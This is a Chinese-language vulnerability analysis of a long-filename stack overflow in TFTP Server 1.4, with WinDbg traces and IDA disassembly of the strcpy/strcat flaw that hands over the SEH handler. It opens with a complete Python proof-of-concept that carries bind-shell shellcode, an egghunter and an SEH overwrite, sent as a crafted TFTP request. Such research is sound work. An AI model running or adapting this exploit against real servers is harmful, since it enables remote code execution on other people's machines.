TFTP Server 1.4远程代码执行漏洞分析

作者:k0shl 转载请注明出处:https://whereisk0shl.top


漏洞说明


软件下载:
https://sourceforge.net/projects/tftp-server/

PoC:

#!/usr/bin/python
 
import socket
import sys
 
host = '192.168.49.187'
port = 69
 
try:
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
except:
print "socket() failed"
sys.exit(1)
 
# msfvenom -p windows/shell_bind_tcp LHOST=192.168.49.187 -b \x00 EXITFUNC=seh -f c -e x86/alpha_mixed
# Payload size: 718 bytes
 
shellcode = (
"\x89\xe5\xd9\xcf\xd9\x75\xf4\x5d\x55\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x59\x6c\x48\x68\x4f\x72\x75\x50\x63\x30\x33\x30\x33\x50\x6f"
"\x79\x59\x75\x35\x61\x6f\x30\x51\x74\x6c\x4b\x42\x70\x46\x50"
"\x6e\x6b\x62\x72\x66\x6c\x6c\x4b\x73\x62\x56\x74\x6c\x4b\x43"
"\x42\x45\x78\x66\x6f\x58\x37\x73\x7a\x56\x46\x54\x71\x4b\x4f"
"\x6e\x4c\x45\x6c\x50\x61\x51\x6c\x33\x32\x74\x6c\x61\x30\x4b"
"\x71\x68\x4f\x74\x4d\x63\x31\x39\x57\x58\x62\x68\x72\x76\x32"
"\x71\x47\x4e\x6b\x52\x72\x64\x50\x4c\x4b\x30\x4a\x45\x6c\x6c"
"\x4b\x30\x4c\x36\x71\x50\x78\x68\x63\x70\x48\x76\x61\x6b\x61"
"\x43\x61\x4e\x6b\x61\x49\x45\x70\x63\x31\x48\x53\x4c\x4b\x72"
"\x69\x35\x48\x38\x63\x77\x4a\x77\x39\x6c\x4b\x65\x64\x4c\x4b"
"\x67\x71\x58\x56\x75\x61\x4b\x4f\x6c\x6c\x69\x51\x7a\x6f\x76"
"\x6d\x65\x51\x39\x57\x45\x68\x4d\x30\x34\x35\x6a\x56\x45\x53"
"\x53\x4d\x5a\x58\x47\x4b\x53\x4d\x77\x54\x43\x45\x4d\x34\x73"
"\x68\x6c\x4b\x61\x48\x57\x54\x46\x61\x6b\x63\x61\x76\x6c\x4b"
"\x74\x4c\x42\x6b\x4c\x4b\x30\x58\x57\x6c\x75\x51\x79\x43\x4c"
"\x4b\x33\x34\x6e\x6b\x46\x61\x4e\x30\x4b\x39\x73\x74\x56\x44"
"\x65\x74\x63\x6b\x43\x6b\x63\x51\x52\x79\x53\x6a\x66\x31\x59"
"\x6f\x6b\x50\x33\x6f\x33\x6f\x32\x7a\x6e\x6b\x35\x42\x78\x6b"
"\x4e\x6d\x43\x6d\x62\x48\x37\x43\x46\x52\x37\x70\x35\x50\x61"
"\x78\x72\x57\x64\x33\x45\x62\x71\x4f\x56\x34\x53\x58\x32\x6c"
"\x63\x47\x34\x66\x46\x67\x4b\x4f\x6a\x75\x4e\x58\x4e\x70\x43"
"\x31\x75\x50\x35\x50\x31\x39\x6f\x34\x72\x74\x70\x50\x55\x38"
"\x56\x49\x4f\x70\x30\x6b\x47\x70\x69\x6f\x48\x55\x71\x7a\x36"
"\x68\x51\x49\x70\x50\x4a\x42\x4b\x4d\x61\x50\x76\x30\x33\x70"
"\x36\x30\x35\x38\x69\x7a\x64\x4f\x59\x4f\x6b\x50\x39\x6f\x4b"
"\x65\x7a\x37\x73\x58\x43\x32\x63\x30\x56\x71\x71\x4c\x6c\x49"
"\x69\x76\x71\x7a\x64\x50\x53\x66\x72\x77\x73\x58\x4a\x62\x79"
"\x4b\x50\x37\x65\x37\x39\x6f\x6b\x65\x36\x37\x42\x48\x48\x37"
"\x4b\x59\x47\x48\x6b\x4f\x39\x6f\x4b\x65\x51\x47\x51\x78\x50"
"\x74\x5a\x4c\x65\x6b\x79\x71\x69\x6f\x6a\x75\x51\x47\x4f\x67"
"\x53\x58\x61\x65\x32\x4e\x32\x6d\x70\x61\x49\x6f\x69\x45\x61"
"\x78\x72\x43\x32\x4d\x30\x64\x43\x30\x4b\x39\x4a\x43\x70\x57"
"\x53\x67\x72\x77\x64\x71\x48\x76\x31\x7a\x52\x32\x42\x79\x52"
"\x76\x38\x62\x69\x6d\x65\x36\x4b\x77\x37\x34\x61\x34\x47\x4c"
"\x57\x71\x45\x51\x6c\x4d\x77\x34\x44\x64\x72\x30\x78\x46\x53"
"\x30\x67\x34\x33\x64\x32\x70\x70\x56\x73\x66\x42\x76\x62\x66"
"\x46\x36\x30\x4e\x63\x66\x46\x36\x42\x73\x62\x76\x52\x48\x71"
"\x69\x38\x4c\x35\x6f\x6e\x66\x79\x6f\x49\x45\x4c\x49\x4b\x50"
"\x52\x6e\x43\x66\x30\x46\x59\x6f\x54\x70\x62\x48\x34\x48\x6c"
"\x47\x35\x4d\x55\x30\x39\x6f\x38\x55\x4f\x4b\x59\x6e\x34\x4e"
"\x76\x52\x59\x7a\x73\x58\x6d\x76\x6c\x55\x4d\x6d\x4d\x4d\x4b"
"\x4f\x6e\x35\x47\x4c\x63\x36\x71\x6c\x45\x5a\x4f\x70\x49\x6b"
"\x59\x70\x74\x35\x76\x65\x4d\x6b\x50\x47\x32\x33\x32\x52\x30"
"\x6f\x62\x4a\x45\x50\x66\x33\x69\x6f\x4e\x35\x41\x41")
 
# PPR - 0x0040CC22 - in TFTPServerSP.exe
# 3-byte overwrite
 
jump_one = "\xEB\xDB\x90\x90" # negative jump back
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a" #WOOT
"\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x54\x30\x30\x57\x8b\xfa"
"\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
 
filename = "\x90"*734 + "T00WT00W" + shellcode + "\x90"*10 + egghunter + "\x90"*10 + jump_one + "\x22\xCC\x40"
 
mode = "netascii"
 
evil = "\x00\x02" + filename + "\x00" + mode + "\x00"
 
print "[*] Sending evil packet, ph33r"
s.sendto(evil, (host, port))
print "[*] Check port 4444 for bindshell"

TFTP Server的版本要下1.4的,sourceforge上的那个版本不知道更新没有,如果更新了可能已经没有这个漏洞了,需要继续google搜索找到1.4版本的才好直接复现。


漏洞复现


TFTP Server是Windows下的一款综合管理工具,在TFTPServerSP进程在处理请求字符串时,会涉及到一个文件操作的字符串,这个字符串就是文件名,但是TFTPServerSP对这个文件名没有进行长度控制,从而导致当传入超长文件名时,TFTPServerSP会在处理拼接文件名形成绝对路径的过程中,文件名覆盖某处关键指针,导致strcat出现错误,程序会进入SEH异常处理,再经过超长文件名覆盖,导致任意代码执行,下面对此漏洞进行详细分析。

首先附加windbg,发送畸形字符串,程序崩溃,到达漏洞位置。

0:001> g
(700.14c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=7efefefe ebx=0022f9d0 ecx=00a00640 edx=41414141 esi=00000000 edi=0022fffe
eip=77c160c1 esp=0022f878 ebp=0022f8b8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\msvcrt.dll - 
msvcrt!strcat+0x81:
77c160c1 8917            mov     dword ptr [edi],edx  ds:0023:0022fffe=63410000

可以看到,此处是因为引用了edi是一处无效指针,继续执行会到达可控的eip位置,seh指针被覆盖。

0:000> g
(d54.8ec): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=7c9232bc esi=00000000 edi=00000000
eip=41414141 esp=0022f4a8 ebp=0022f4c8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
41414141 ??              ???

通过kb查看一下堆栈调用。

0:000> kb
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\TFTPServer\TFTPServerSP.exe
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
0022f8b8 00403e86 0022f9d0 0022f9a0 0022f9b0 msvcrt!strcat+0x81
0022fe88 41414141 41414141 41414141 41414141 TFTPServerSP+0x3e86
0022fe8c 41414141 41414141 41414141 41414141 0x41414141
0022fe90 41414141 41414141 41414141 41414141 0x41414141
0022fe94 41414141 41414141 41414141 41414141 0x41414141
0022fe98 41414141 41414141 41414141 41414141 0x41414141
0022fe9c 41414141 41414141 41414141 41414141 0x41414141

可以看到00403e81位置的调用,就由此入手进行分析,值得一提的是TFTP在编译时并没有消除符号表,也就是说我们可以直接清晰的看到函数名称,可以以此猜测函数功能。


漏洞分析


首先来看一下00403e81位置所处的函数名称。

.text:004031C2 ; _DWORD runProg(void)
.text:004031C2                 public __Z7runProgv
.text:004031C2 __Z7runProgv    proc near               ; CODE XREF: _main+1A9p
.text:004031C2                                         ; _main:loc_4031A8p

经过对这个函数的初步分析,runProg可能是运行程序的一个函数,接下来可以看一下00403e81位置的块。

.text:00403E6E loc_403E6E:                             ; CODE XREF: runProg(void)+C8Cj
.text:00403E6E                                         ; runProg(void)+CA5j
.text:00403E6E                 lea     eax, [ebp+var_4B8]
.text:00403E74                 mov     [esp], eax
.text:00403E77                 mov     [ebp+var_550], 0FFFFFFFFh
.text:00403E81                 call    __Z10processNewP7request ; processNew(request *)

这里调用了一个名为processNew,实际上这个逻辑是程序运行之后,当接收到请求后,会判断是否是一个已存在的线程,如果不是,则会开启一个新的线程,processNew就是开启新线程的函数,在这个入口下断点。

0:001> g
Breakpoint 0 hit
eax=0022f9d0 ebx=00004000 ecx=00000002 edx=00000000 esi=00000000 edi=00000020
eip=00403e81 esp=0022f8c0 ebp=0022fe88 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
TFTPServerSP+0x3e81:
00403e81 e82c0a0000      call    TFTPServerSP+0x48b2 (004048b2)
0:000> dd esp
0022f8c0  0022f9d0
0:000> dc eax
0022f9d0  2e373231 2e302e30 37313a31 00003235  127.0.0.1:1752..

可以看到processNew只有一个参数,这个参数内容是127.0.0.1:1752,实际上就是和TFTP连接的IP和端口,这里由于我直接本地测试,所以是localhost,那么实际上TFTP也是根据IP端口的情况判断是否是一个已存在的线程。

接下来跟入这个函数。

.text:00404AD4 loc_404AD4:                             ; CODE XREF: processNew(request *)+217j
.text:00404AD4                 cmp     ds:byte_41A530, 0
.text:00404ADB                 jnz     short loc_404B13
.text:00404ADD ; 150:     strcpy((char *)(a1 + 32), &Filename);
.text:00404ADD                 mov     dword ptr [esp+4], offset Filename ; char *
.text:00404AE5                 mov     eax, [ebp+arg_0]
.text:00404AE8                 add     eax, 20h
.text:00404AEB                 mov     [esp], eax      ; char *
.text:00404AEE                 call    _strcpy

单步跟踪时,注意到一个strcpy函数,地址是00404AEE,在这个位置下断点,跟到时查看堆栈情况。

0:000> g
Breakpoint 2 hit
eax=0022f9f0 ebx=0022f9d0 ecx=004191c0 edx=ecff2e2e esi=00000000 edi=00000020
eip=00404aee esp=0022f880 ebp=0022f8b8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
TFTPServerSP+0x4aee:
00404aee e83da00000      call    TFTPServerSP+0xeb30 (0040eb30)
0:000> dd esp
0022f880  0022f9f0 0041a570 0041a014 0022f9d0
0022f890  00000000 00000020 0022f8b8 00000001
0022f8a0  00a100c8 0022fe88 77c09f8e 00000320
0022f8b0  00a00374 00004000 0022fe88 00403e86
0022f8c0  0022f9d0 0022f9a0 0022f9b0 000006e9
0022f8d0  0022fb28 0022fb38 01010040 00000005
0022f8e0  7c93003d 00245b78 0022f8f8 00000000
0022f8f0  7c930098 00245d30 0022f9c4 7c930021
0:000> dc 0041a570
0041a570  505c3a43 72676f72 46206d61 73656c69  C:\Program Files
0041a580  5446545c 72655350 5c726576 50544600  \TFTPServer\.FTP
0041a590  76726553 50537265 6578652e 00000000  ServerSP.exe....
0041a5a0  00000000 00000000 00000000 00000000  ................
0041a5b0  00000000 00000000 00000000 00000000  ................
0041a5c0  00000000 00000000 00000000 00000000  ................
0041a5d0  00000000 00000000 00000000 00000000  ................
0041a5e0  00000000 00000000 00000000 00000000  ................

这里要拷贝的是TFTPServer的路径,这里拷贝结束之后,继续单步跟进。

0:000> p
eax=0022f9d0 ebx=0022f9d0 ecx=0041a590 edx=50544600 esi=00000000 edi=00000020
eip=00404af6 esp=0022f880 ebp=0022f8b8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
TFTPServerSP+0x4af6:
00404af6 8b802c010000    mov     eax,dword ptr [eax+12Ch] ds:0023:0022fafc=00a0004a
0:000> p
eax=00a0004a ebx=0022f9d0 ecx=0041a590 edx=50544600 esi=00000000 edi=00000020
eip=00404afc esp=0022f880 ebp=0022f8b8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
TFTPServerSP+0x4afc:
00404afc 89442404        mov     dword ptr [esp+4],eax ss:0023:0022f884=0041a570
0:000> p
eax=00a0004a ebx=0022f9d0 ecx=0041a590 edx=50544600 esi=00000000 edi=00000020
eip=00404b00 esp=0022f880 ebp=0022f8b8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
TFTPServerSP+0x4b00:
00404b00 8b4508          mov     eax,dword ptr [ebp+8] ss:0023:0022f8c0=0022f9d0
0:000> p
eax=0022f9d0 ebx=0022f9d0 ecx=0041a590 edx=50544600 esi=00000000 edi=00000020
eip=00404b03 esp=0022f880 ebp=0022f8b8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
TFTPServerSP+0x4b03:
00404b03 83c020          add     eax,20h
0:000> p
eax=0022f9f0 ebx=0022f9d0 ecx=0041a590 edx=50544600 esi=00000000 edi=00000020
eip=00404b06 esp=0022f880 ebp=0022f8b8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
TFTPServerSP+0x4b06:
00404b06 890424          mov     dword ptr [esp],eax  ss:0023:0022f880=0022f9f0
0:000> p
eax=0022f9f0 ebx=0022f9d0 ecx=0041a590 edx=50544600 esi=00000000 edi=00000020
eip=00404b09 esp=0022f880 ebp=0022f8b8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
TFTPServerSP+0x4b09:
00404b09 e8e29f0000      call    TFTPServerSP+0xeaf0 (0040eaf0)

可以看到在00404b09位置调用了strcat函数,来看一下strcat函数的拷贝情况。

0:000> dd esp
0022f880  0022f9f0 00a0004a 0041a014 0022f9d0
0022f890  00000000 00000020 0022f8b8 00000001
0022f8a0  00a100c8 0022fe88 77c09f8e 00000320
0022f8b0  00a00374 00004000 0022fe88 00403e86
0022f8c0  0022f9d0 0022f9a0 0022f9b0 000006e9
0022f8d0  0022fb28 0022fb38 01010040 00000005
0022f8e0  7c93003d 00245b78 0022f8f8 00000000
0022f8f0  7c930098 00245d30 0022f9c4 7c930021
0:000> dc 00a0004a
00a0004a  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00a0005a  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00a0006a  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00a0007a  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00a0008a  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00a0009a  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00a000aa  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00a000ba  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

这里对畸形字符串进行了合并操作,而F10步过,程序到达漏洞位置。

(700.14c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=7efefefe ebx=0022f9d0 ecx=00a00640 edx=41414141 esi=00000000 edi=0022fffe
eip=77c160c1 esp=0022f878 ebp=0022f8b8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\msvcrt.dll - 
msvcrt!strcat+0x81:
77c160c1 8917            mov     dword ptr [edi],edx  ds:0023:0022fffe=63410000

来看一下这段IDA伪代码。

  else
  {
    strcpy((char *)(a1 + 32), &Filename);
    strcat((char *)(a1 + 32), *(const char **)(a1 + 300));
  }

这里会首先进行Filename的拷贝,可以看到拷贝过程对Filename没有记性有效控制,然后会进行字符串拼接,由于之前对request字符串没有进行有效的控制,导致在对Filename拷贝的时候,由于某些关键位置被覆盖,从而导致了后续strcat时候会引发错误,从而通过控制SEH指针,引发任意代码执行。

Comments
Write a Comment